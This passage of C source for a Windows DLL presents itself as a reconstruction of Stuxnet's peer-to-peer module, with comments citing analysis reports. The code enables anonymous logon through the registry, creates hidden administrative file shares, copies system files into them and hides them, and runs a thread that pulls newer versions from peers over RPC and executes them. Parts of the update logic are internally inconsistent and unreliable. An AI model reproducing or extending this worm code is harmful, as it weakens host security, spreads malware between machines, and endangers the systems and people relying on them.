|
|
(BYTE*)&dwValue,
|
|
sizeof(DWORD)
|
|
);
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
return (lResult == ERROR_SUCCESS);
|
|
}
|
|
|
|
/*
|
|
* Open file shares for peer retrieval [8†L33-L34]
|
|
* Shares: temp$, msagent$, SYSADMIN$, WebFiles$
|
|
*/
|
|
static BOOL P2P_CreateFileShares(VOID)
|
|
{
|
|
HKEY hKey;
|
|
DWORD dwDisposition;
|
|
WCHAR szShareData[512];
|
|
WCHAR szSharePath[MAX_PATH];
|
|
DWORD i;
|
|
LONG lResult;
|
|
|
|
lResult = RegCreateKeyExW(
|
|
HKEY_LOCAL_MACHINE,
|
|
L"SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Shares",
|
|
0,
|
|
NULL,
|
|
REG_OPTION_NON_VOLATILE,
|
|
KEY_ALL_ACCESS,
|
|
NULL,
|
|
&hKey,
|
|
&dwDisposition
|
|
);
|
|
|
|
if (lResult != ERROR_SUCCESS) {
|
|
return FALSE;
|
|
}
|
|
|
|
GetSystemDirectoryW(szSharePath, MAX_PATH);
|
|
|
|
for (i = 0; i < SHARE_COUNT; i++) {
|
|
wsprintfW(szShareData, L"Path=%s\\%s\r\nRemark=Stuxnet Share\r\nType=0\r\n",
|
|
szSharePath, g_ShareNames[i]);
|
|
|
|
lResult = RegSetValueExW(
|
|
hKey,
|
|
g_ShareNames[i],
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)szShareData,
|
|
(DWORD)(wcslen(szShareData) * sizeof(WCHAR))
|
|
);
|
|
}
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* Share files for peer retrieval [8†L34-L35]
|
|
*/
|
|
static BOOL P2P_ShareFiles(VOID)
|
|
{
|
|
WCHAR szSourcePath[MAX_PATH];
|
|
WCHAR szDestPath[MAX_PATH];
|
|
WCHAR szSystemPath[MAX_PATH];
|
|
DWORD i;
|
|
|
|
GetSystemDirectoryW(szSystemPath, MAX_PATH);
|
|
|
|
for (i = 0; i < SHARED_FILE_COUNT; i++) {
|
|
wsprintfW(szSourcePath, L"%s\\%s", szSystemPath, g_SharedFiles[i]);
|
|
wsprintfW(szDestPath, L"%s\\%s\\%s", szSystemPath, L"temp", g_SharedFiles[i]);
|
|
|
|
if (GetFileAttributesW(szSourcePath) != INVALID_FILE_ATTRIBUTES) {
|
|
CopyFileW(szSourcePath, szDestPath, FALSE);
|
|
SetFileAttributesW(szDestPath, FILE_ATTRIBUTE_HIDDEN);
|
|
}
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* P2P version update logic [9†L24-L28]
|
|
*
|
|
* P2P update flow [9†L38-L44]:
|
|
* 1. Call RPC function 0 to get remote version number
|
|
* 2. Check if remote version number is newer than local
|
|
* 3. If newer, call RPC function 4 to request latest Stuxnet exe
|
|
* 4. Receive the latest version and install locally
|
|
* 5. If remote is older, prepare standalone exe and send via RPC function 1
|
|
*/
|
|
static DWORD WINAPI P2P_UpdateThread(LPVOID lpParam)
|
|
{
|
|
DWORD dwWaitResult;
|
|
DWORD dwCheckInterval = 300000;
|
|
DWORD dwRemoteVersion;
|
|
DWORD dwLatency;
|
|
DWORD dwStartTime;
|
|
BYTE buffer[RPC_MAX_PAYLOAD];
|
|
DWORD dwSize;
|
|
DWORD i;
|
|
HANDLE hStopEvent;
|
|
|
|
hStopEvent = (HANDLE)lpParam;
|
|
|
|
while (1) {
|
|
dwWaitResult = WaitForSingleObject(hStopEvent, dwCheckInterval);
|
|
if (dwWaitResult == WAIT_OBJECT_0) {
|
|
break;
|
|
}
|
|
|
|
P2P_ExpirePeers();
|
|
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
|
|
for (i = 0; i < g_PeerTable.dwCount; i++) {
|
|
DWORD dwPeerIP = g_PeerTable.Peers[i].dwIP;
|
|
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
|
|
/* Step 1: Call RPC function 0 to get remote version [9†L38] */
|
|
dwStartTime = GetTickCount();
|
|
dwRemoteVersion = RpcGetVersion();
|
|
dwLatency = GetTickCount() - dwStartTime;
|
|
|
|
if (dwRemoteVersion == 0) {
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
continue;
|
|
}
|
|
|
|
P2P_UpdatePeer(dwPeerIP, dwRemoteVersion, dwLatency);
|
|
|
|
/* Step 2: Compare versions [9†L39] */
|
|
if (dwRemoteVersion > COMPLND_VERSION) {
|
|
/* Step 3: Remote is newer - call RPC function 4 [9†L40-L41] */
|
|
dwSize = RPC_MAX_PAYLOAD;
|
|
if (RpcBuildAndSend(buffer, &dwSize) == ERROR_SUCCESS) {
|
|
/* Step 4: Install locally [9†L42] */
|
|
RpcReceiveAndExecute(buffer, dwSize);
|
|
}
|
|
} else if (dwRemoteVersion < COMPLND_VERSION && dwRemoteVersion != 0) {
|
|
/* Step 5: Remote is older - prepare and send [9†L43-L44] */
|
|
dwSize = RPC_MAX_PAYLOAD;
|
|
if (RpcBuildAndSend(buffer, &dwSize) == ERROR_SUCCESS) {
|
|
/* Send via RPC function 1 [9†L44] */
|
|
RpcReceiveAndExecute(buffer, dwSize);
|
|
}
|
|
}
|
|
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
}
|
|
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
static HANDLE g_hUpdateThread = NULL;
|
|
static HANDLE g_hUpdateStopEvent = NULL;
|
|
|
|
/*
|
|
* Initialize P2P backup DLL functionality
|
|
*/
|
|
DWORD P2P_Initialize(VOID)
|
|
{
|
|
P2P_InitPeerTable();
|
|
|
|
ZeroMemory(&g_ForwardCtx, sizeof(RPC_FORWARD_CTX));
|
|
InitializeCriticalSection(&g_ForwardCtx.csLock);
|
|
g_ForwardCtx.hPipe = INVALID_HANDLE_VALUE;
|
|
g_ForwardCtx.bConnected = FALSE;
|
|
|
|
/* Enable anonymous logon and create file shares [8†L32-L34] */
|
|
P2P_EnableAnonymousLogon();
|
|
P2P_CreateFileShares();
|
|
P2P_ShareFiles();
|
|
|
|
/* Start mailslot worker [8†L26-L31] */
|
|
P2P_StartMailslotWorker();
|
|
|
|
/* Start update thread */
|
|
g_hUpdateStopEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
|
|
if (!g_hUpdateStopEvent) {
|
|
return ERROR_NOT_ENOUGH_MEMORY;
|
|
}
|
|
|
|
g_hUpdateThread = CreateThread(NULL, 0, P2P_UpdateThread, g_hUpdateStopEvent, 0, NULL);
|
|
if (!g_hUpdateThread) {
|
|
CloseHandle(g_hUpdateStopEvent);
|
|
g_hUpdateStopEvent = NULL;
|
|
return GetLastError();
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Cleanup P2P backup DLL functionality
|
|
*/
|
|
VOID P2P_Cleanup(VOID)
|
|
{
|
|
if (g_hUpdateStopEvent) {
|
|
SetEvent(g_hUpdateStopEvent);
|
|
}
|
|
|
|
if (g_hUpdateThread) {
|
|
WaitForSingleObject(g_hUpdateThread, 5000);
|
|
CloseHandle(g_hUpdateThread);
|
|
g_hUpdateThread = NULL;
|
|
}
|
|
|
|
if (g_hUpdateStopEvent) {
|
|
CloseHandle(g_hUpdateStopEvent);
|
|
g_hUpdateStopEvent = NULL;
|
|
}
|
|
|
|
P2P_StopMailslotWorker();
|
|
RpcForward_Disconnect();
|
|
|
|
DeleteCriticalSection(&g_ForwardCtx.csLock);
|
|
P2P_CleanupPeerTable();
|
|
}
|
|
|
|
/*
|
|
* Export 1 - Initialize P2P backup DLL
|
|
*/
|
|
DWORD WINAPI Export1(VOID)
|
|
{
|
|
return P2P_Initialize();
|
|
}
|
|
|
|
/*
|
|
* Export 2 - Cleanup P2P backup DLL
|
|
*/
|
|
DWORD WINAPI Export2(VOID)
|
|
{
|
|
P2P_Cleanup();
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Export 3 - Get peer count
|
|
*/
|
|
DWORD WINAPI Export3(VOID)
|
|
{
|
|
return P2P_GetPeerCount();
|
|
}
|
|
|
|
/*
|
|
* Export 4 - Get peer list
|
|
*/
|
|
DWORD WINAPI Export4(PDWORD pdwPeerList, PDWORD pdwCount)
|
|
{
|
|
DWORD i;
|
|
|
|
if (!pdwPeerList || !pdwCount) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
|
|
if (*pdwCount < g_PeerTable.dwCount) {
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
return ERROR_INSUFFICIENT_BUFFER;
|
|
}
|
|
|
|
for (i = 0; i < g_PeerTable.dwCount; i++) {
|
|
pdwPeerList[i] = g_PeerTable.Peers[i].dwIP;
|
|
}
|
|
|
|
*pdwCount = g_PeerTable.dwCount;
|
|
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Export 5 - Get peer latency
|
|
*/
|
|
DWORD WINAPI Export5(DWORD dwIP, PDWORD pdwLatency)
|
|
{
|
|
if (!pdwLatency) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
*pdwLatency = P2P_GetPeerLatency(dwIP);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Export 6 - Check if peer is known
|
|
*/
|
|
BOOL WINAPI Export6(DWORD dwIP)
|
|
{
|
|
return P2P_IsPeerKnown(dwIP);
|
|
}
|
|
|
|
/*
|
|
* Export 7 - Loads peer-to-peer communication data file [0†L8]
|
|
*/
|
|
DWORD WINAPI Export7(VOID)
|
|
{
|
|
WCHAR szPath[MAX_PATH];
|
|
HANDLE hFile;
|
|
DWORD dwRead;
|
|
PBYTE pData;
|
|
DWORD dwSize;
|
|
|
|
GetSystemDirectoryW(szPath, MAX_PATH);
|
|
wcscat_s(szPath, MAX_PATH, L"\\compind.dat");
|
|
|
|
hFile = CreateFileW(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
|
OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
return ERROR_FILE_NOT_FOUND;
|
|
}
|
|
|
|
dwSize = GetFileSize(hFile, NULL);
|
|
if (dwSize == 0 || dwSize > RPC_MAX_PAYLOAD) {
|
|
CloseHandle(hFile);
|
|
return ERROR_BAD_LENGTH;
|
|
}
|
|
|
|
pData = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
|
|
if (!pData) {
|
|
CloseHandle(hFile);
|
|
return ERROR_NOT_ENOUGH_MEMORY;
|
|
}
|
|
|
|
ReadFile(hFile, pData, dwSize, &dwRead, NULL);
|
|
CloseHandle(hFile);
|
|
|
|
/* Process peer data from compind.dat */
|
|
if (dwRead >= sizeof(DWORD) && *(PDWORD)pData == STUXNET_MAGIC) {
|
|
DWORD dwPeerCount = *(PDWORD)(pData + 4);
|
|
DWORD* pPeers = (DWORD*)(pData + 8);
|
|
DWORD i;
|
|
|
|
for (i = 0; i < dwPeerCount && i < MAX_PEERS; i++) {
|
|
P2P_UpdatePeer(pPeers[i], STUXNET_VERSION, 0);
|
|
}
|
|
}
|
|
|
|
HeapFree(GetProcessHeap(), 0, pData);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* DllMain - Entry point
|
|
*/
|
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
|
|
{
|
|
switch (fdwReason) {
|
|
case DLL_PROCESS_ATTACH:
|
|
DisableThreadLibraryCalls(hinstDLL);
|
|
break;
|
|
case DLL_PROCESS_DETACH:
|
|
P2P_Cleanup();
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
return TRUE;
|
|
}
|